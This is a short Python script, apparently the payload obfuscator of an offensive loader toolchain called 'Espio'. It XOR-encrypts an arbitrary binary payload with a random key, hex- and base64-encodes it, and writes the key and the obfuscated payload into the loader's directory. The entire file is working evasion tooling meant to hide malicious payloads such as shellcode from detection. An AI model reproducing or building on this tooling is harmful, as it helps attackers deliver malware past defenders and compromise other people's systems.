obfuscator.py

import os
import sys
import random
import base64


def obfuscate_payload(payload, key):
    encrypted_payload = ""
    for i in range(len(payload)):
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))
        hex_char = hex(ord(obf_char))
        if len(hex_char) == 3:
            hex_char = f"0x0{hex_char[-1]}"
        encrypted_payload += hex_char
    encrypted_payload_bytes = encrypted_payload.encode("UTF-8")
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)
    obfuscated_payload = obfuscated_payload_bytes.decode("UTF-8")
    return "".join(obfuscated_payload)


def generate_key():
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]
    key = "".join(random.choices(letters, k=random.randint(100, 500)))
    return key


def main():
    if len(sys.argv) == 2:
        if os.path.exists(sys.argv[1]):
            with open(sys.argv[1], "rb") as payload_file:
                payload = payload_file.read()
            key = generate_key()
            obfuscated_payload = obfuscate_payload(payload, key)
            output_path = "loader/Espio"
            if os.path.exists("loader/Espio"):
                print("[+] The key and the payload are placed in loader/Espio")
            else:
                output_path = '.'
                print("[*] WARNING: loader/Espio was not found! The key and the payload will be placed in the current directory")
            with open(f"{output_path}/key.bin", 'w') as key_file:
                key_file.write(key)
            with open(f"{output_path}/obfuscatedPayload.bin", 'w') as obfuscated_payload_file:
                obfuscated_payload_file.write(obfuscated_payload)
        else:
            print(f"[-] {sys.argv[1]} does not exists!")
    else:
        print("[-] Please provide the payload to obfuscate")


if __name__ == "__main__":
    main()